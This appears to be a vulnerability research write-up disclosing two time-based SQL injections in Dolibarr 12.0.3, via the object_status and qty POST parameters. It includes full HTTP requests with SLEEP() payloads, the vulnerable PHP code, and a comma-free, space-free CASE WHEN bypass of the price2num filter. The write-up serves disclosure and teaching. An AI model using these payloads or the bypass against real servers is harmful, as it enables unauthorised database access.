I’m not going to repeat myself and present the application, let’s go straight to the heart of the matter here. I’m currently reading the Dolibarr application code and as the name of this chapter indicates it, I was able to identify a SQL injection.

Time Based SQL injection in POST parameter object_status

An authenticated user with the privilege to view customer orders (which can be common since it is not a high privilege and therefore increases the probability of exploitation) can exploit the SQLi by performing a Time Based attack.

alt text

How ?

The POST parameter object_status from the route <ROOT>/commande/stats/index.php will be our entry point.

First of all, we can identify the presence of the vulnerability as it is possible to see below, using the IF() and SLEEP() MySQL’s functions.

The first payload will not create a delay because 2 is greater than 1, so the SLEEP(0) is executed.

Payload 1:

IF(2<1, SLEEP(5), SLEEP(0))

Request:

POST /projects/dolibarr/12.0.3/htdocs/commande/stats/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/projects/dolibarr/12.0.3/htdocs/commande/stats/index.php
Upgrade-Insecure-Requests: 1
Cookie: DOLSESSID_6d0e1ecfaad79948851cc2a04d382d2e=1e1f36c1cb94ad7d609ccc23b87a8ec7

object_status=IF(2<1, SLEEP(5), SLEEP(0))

alt text

For the second payload, 0 being less than 1, the SLEEP(10) is executed causing a minimum delay of 10 seconds. I indicate a “minimum” delay because if the payload is injected several times, it can lead to multiply the delay by n.

Payload 2:

IF(0<1, SLEEP(5), SLEEP(0))

Request:

POST /projects/dolibarr/12.0.3/htdocs/commande/stats/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/projects/dolibarr/12.0.3/htdocs/commande/stats/index.php
Upgrade-Insecure-Requests: 1
Cookie: DOLSESSID_6d0e1ecfaad79948851cc2a04d382d2e=1e1f36c1cb94ad7d609ccc23b87a8ec7

object_status=IF(0<1, SLEEP(5), SLEEP(0))

alt text

Why ?

Let’s identify the presence of the vulnerability within the code.

File: <ROOT>/commande/stats/index.php


<?php

...

$mode = GETPOST("mode") ?GETPOST("mode") : 'customer';

...

$object_status = GETPOST('object_status');

...

if ($mode == 'customer')
{
    if ($object_status != '' && $object_status >= -1) $stats->where .= ' AND c.fk_statut IN ('.$db->escape($object_status).')';
}

...

$data = $stats->getNbByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAmountByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAverageByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAllByYear();

...

File: <ROOT>/core/db/Database.interface.php

interface Database
{

    ...

    /**
     * Escape a string to insert data
     *
     * @param   string $stringtoencode String to escape
     * @return  string                        String escaped
     */
    public function escape($stringtoencode);

    ...

As we can see 4 requests are made to the database which injects 4 times our paylaod and thus create a delay of 4*5=20 seconds. Now, let’s add some debug to see what happens.

File: <ROOT>/commande/stats/index.php


<?php

...

$mode = GETPOST("mode") ?GETPOST("mode") : 'customer';

...

$object_status = GETPOST('object_status');

...

if ($mode == 'customer')
{
    if ($object_status != '' && $object_status >= -1) $stats->where .= ' AND c.fk_statut IN ('.$db->escape($object_status).')';
}


echo "[DEBUG]: START\n";
echo "[DEBUG]: stats:\n";
var_dump($stats);
echo "[DEBUG]: END\n";
// Build graphic number of object
$data = $stats->getNbByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAmountByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAverageByMonthWithPrevYear($endyear, $startyear);

...

$data = $stats->getAllByYear();

...

alt text

Thanks to the debug, we can see where our injection had taken place in the SQL request.

Time Based SQL injection in POST parameter qty

An authenticated user with the privilege to create/modify customer orders can exploit the SQLi by performing a time-based attack.

alt text

How ?

First of all let’s look at how it is possible to edit a command.

  1. Go into an existing command: alt text

  2. Ask to edit the order: alt text

  3. Accept to edit the order: alt text

  4. Modify an item from the order: alt text

As soon as we are able to edit the item of a command, we can start to identify the vulnerability. To do this change the quantity of an item with the value SLEEP(5) to observe a delay in the server response.

alt text

Thanks to the Burp capure below we observe that the response time is about 7 seconds.

alt text

Change the value of the SLEEP() function from 5 to 0, and see that the response delay is now about 2 seconds.

alt text

We now gona try to create a delay of 12 seconds by replacing 0 by 10.

alt text

This allows us to conclude that it is therefore possible to exploit this vulnerability by exploiting a Time Based SQL injection.

Why ?

File: <ROOT>/commande/card.php

...

$lineid = GETPOST('lineid', 'int');

...

    /*
     *  Update a line
     */
    elseif ($action == 'updateline' && $usercancreate && GETPOST('save'))
    {
        // Clean parameters
        $date_start = '';
        $date_end = '';
        $date_start = dol_mktime(GETPOST('date_starthour'), GETPOST('date_startmin'), GETPOST('date_startsec'), GETPOST('date_startmonth'), GETPOST('date_startday'), GETPOST('date_startyear'));
        $date_end = dol_mktime(GETPOST('date_endhour'), GETPOST('date_endmin'), GETPOST('date_endsec'), GETPOST('date_endmonth'), GETPOST('date_endday'), GETPOST('date_endyear'));
        $description = dol_htmlcleanlastbr(GETPOST('product_desc', 'none'));
        $pu_ht = GETPOST('price_ht');
        $vat_rate = (GETPOST('tva_tx') ?GETPOST('tva_tx') : 0);
        $pu_ht_devise = GETPOST('multicurrency_subprice');

        ...

        if (!$error) {
            if (empty($user->rights->margins->creer))
            {
                foreach ($object->lines as &$line)
                {
                    if ($line->id == GETPOST('lineid'))
                    {
                        $fournprice = $line->fk_fournprice;
                        $buyingprice = $line->pa_ht;
                        break;
                    }
                }
            }
            $result = $object->updateline(GETPOST('lineid'), $description, $pu_ht, GETPOST('qty'), GETPOST('remise_percent'), $vat_rate, $localtax1_rate, $localtax2_rate, 'HT', $info_bits, $date_start, $date_end, $type, GETPOST('fk_parent_line'), 0, $fournprice, $buyingprice, $label, $special_code, $array_options, GETPOST('units'), $pu_ht_devise);

            ...

        }
    }

...

The POST parameter qty is given directly as a parameter of the function updateline() without being cleared up. Let’s look at its code to see if the parameter underwent a cleanup attempt before being injected into an SQL query.

File: <ROOT>/commande/class/commande.class.php

    public function updateline($rowid, $desc, $pu, $qty, $remise_percent, $txtva, $txlocaltax1 = 0.0, $txlocaltax2 = 0.0, $price_base_type = 'HT', $info_bits = 0, $date_start = '', $date_end = '', $type = 0, $fk_parent_line = 0, $skip_update_total = 0, $fk_fournprice = null, $pa_ht = 0, $label = '', $special_code = 0, $array_options = 0, $fk_unit = null, $pu_ht_devise = 0, $notrigger = 0)
    {

        ...

        if ($this->statut == Commande::STATUS_DRAFT)
        {
            // Clean parameters
            if (empty($qty)) $qty = 0;

            ...

            $qty = price2num($qty);

            ...

            $tabprice = calcul_price_total($qty, $pu, $remise_percent, $txtva, $txlocaltax1, $txlocaltax2, 0, $price_base_type, $info_bits, $type, $mysoc, $localtaxes_type, 100, $this->multicurrency_tx, $pu_ht_devise);

            ...

            if (!empty($line->fk_product))
            {
                $product = new Product($this->db);
                $result = $product->fetch($line->fk_product);
                $product_type = $product->type;

                if (!empty($conf->global->STOCK_MUST_BE_ENOUGH_FOR_ORDER) && $product_type == 0 && $product->stock_reel < $qty)
                {
                    $langs->load("errors");
                    $this->error = $langs->trans('ErrorStockIsNotEnoughToAddProductOnOrder', $product->ref);
                    $this->errors[] = $this->error;
                    dol_syslog(get_class($this)."::addline error=Product ".$product->ref.": ".$this->error, LOG_ERR);
                    $this->db->rollback();
                    return self::STOCK_NOT_ENOUGH_FOR_ORDER;
                }
            }

            ...

            $this->line->qty = $qty;

            ...

            $result = $this->line->update($user, $notrigger);

            ...

        }

        ...

    }

The only modification applied to $qty is price2num().

File: <ROOT>/core/lib/functions.lib.php

function price2num($amount, $rounding = '', $alreadysqlnb = 0)
{

    ...

    $dec = ','; $thousand = ' ';
    ...

    if ($alreadysqlnb != 1)	// If not a PHP number or unknown, we change format
    {
        if (is_numeric($amount))
        {
            
            ...

        }

        ...

        if ($thousand != ',' && $thousand != '.') $amount = str_replace(',', '.', $amount); // To accept 2 notations for french users
        $amount = str_replace(' ', '', $amount); // To avoid spaces
        $amount = str_replace($thousand, '', $amount); // Replace of thousand before replace of dec to avoid pb if thousand is .
        $amount = str_replace($dec, '.', $amount);
    }

    // Now, make a rounding if required
    if ($rounding)
    {

        ...

    }

    return $amount;
}

It is therefore observed that:

  1. is_numeric($amount)return 0 so the condition content is not executed.
    ▶ php -r "var_dump(is_numeric('STRING'));"
    bool(false)
    
  2. Spaces are removed from our payload via $amount = str_replace(' ', '', $amount); and $amount = str_replace($thousand, '', $amount);.
  3. Comma’s are replaced by dots via $amount = str_replace($dec, '.', $amount);.
  4. $rounding being empty, the content of the condition if ($rounding) is not executed.

We concluded two things:

  • Spaceds are removed.
  • Comma’s are replaced by dots.

In order to bypass this security mechanism, it is possible to combine two tricks:

  1. It is necessary to replace spaces by MySQL comments /**/ as it is documented here.
    Replace
    (SELECT SLEEP(5))
    

    By

    (SELECT/**/SLEEP(5))
    
  2. It is necessary to not use commas. To do this we can exploit this using a Time Based attack by calling the MySQL CASE instruction ad document here.
    CASE WHEN 0<1 THEN SLEEP(5) ELSE SLEEP(0) END
    

    Which after applying the first trick becomes

    (SELECT/**/CASE/**/WHEN/**/(0<1)/**/THEN/**/SLEEP(5)/**/ELSE/**/SLEEP(0)/**/END)
    

See the server response delay when the condition is 0<1:

alt text

See the absence of delay when the condition is 2<1:

alt text

The delay can be observed because our payload is injected in a request of the update function from <ROOT>/commande/class/commande.class.php.

File: <ROOT>/commande/class/commande.class.php

public function update(User $user, $notrigger = 0)
{

    ...

    // Mise a jour ligne en base
    $sql = "UPDATE ".MAIN_DB_PREFIX."commandedet SET";
    $sql .= " description='".$this->db->escape($this->desc)."'";
    $sql .= " , label=".(!empty($this->label) ? "'".$this->db->escape($this->label)."'" : "null");
    $sql .= " , vat_src_code=".(!empty($this->vat_src_code) ? "'".$this->db->escape($this->vat_src_code)."'" : "''");
    $sql .= " , tva_tx=".price2num($this->tva_tx);
    $sql .= " , localtax1_tx=".price2num($this->localtax1_tx);
    $sql .= " , localtax2_tx=".price2num($this->localtax2_tx);
    $sql .= " , localtax1_type='".$this->db->escape($this->localtax1_type)."'";
    $sql .= " , localtax2_type='".$this->db->escape($this->localtax2_type)."'";
    $sql .= " , qty=".price2num($this->qty);
    $sql .= " , subprice=".price2num($this->subprice)."";
    $sql .= " , remise_percent=".price2num($this->remise_percent)."";
    $sql .= " , price=".price2num($this->price).""; // TODO A virer
    $sql .= " , remise=".price2num($this->remise).""; // TODO A virer
    if (empty($this->skip_update_total))
    {
        $sql .= " , total_ht=".price2num($this->total_ht)."";
        $sql .= " , total_tva=".price2num($this->total_tva)."";
        $sql .= " , total_ttc=".price2num($this->total_ttc)."";
        $sql .= " , total_localtax1=".price2num($this->total_localtax1);
        $sql .= " , total_localtax2=".price2num($this->total_localtax2);
    }
    $sql .= " , fk_product_fournisseur_price=".(!empty($this->fk_fournprice) ? $this->fk_fournprice : "null");
    $sql .= " , buy_price_ht='".price2num($this->pa_ht)."'";
    $sql .= " , info_bits=".$this->info_bits;
    $sql .= " , special_code=".$this->special_code;
    $sql .= " , date_start=".(!empty($this->date_start) ? "'".$this->db->idate($this->date_start)."'" : "null");
    $sql .= " , date_end=".(!empty($this->date_end) ? "'".$this->db->idate($this->date_end)."'" : "null");
    $sql .= " , product_type=".$this->product_type;
    $sql .= " , fk_parent_line=".(!empty($this->fk_parent_line) ? $this->fk_parent_line : "null");
    if (!empty($this->rang)) $sql .= ", rang=".$this->rang;
    $sql .= " , fk_unit=".(!$this->fk_unit ? 'NULL' : $this->fk_unit);

    // Multicurrency
    $sql .= " , multicurrency_subprice=".price2num($this->multicurrency_subprice)."";
    $sql .= " , multicurrency_total_ht=".price2num($this->multicurrency_total_ht)."";
    $sql .= " , multicurrency_total_tva=".price2num($this->multicurrency_total_tva)."";
    $sql .= " , multicurrency_total_ttc=".price2num($this->multicurrency_total_ttc)."";

    $sql .= " WHERE rowid = ".$this->rowid;

    ...

    $resql = $this->db->query($sql);

    ...

}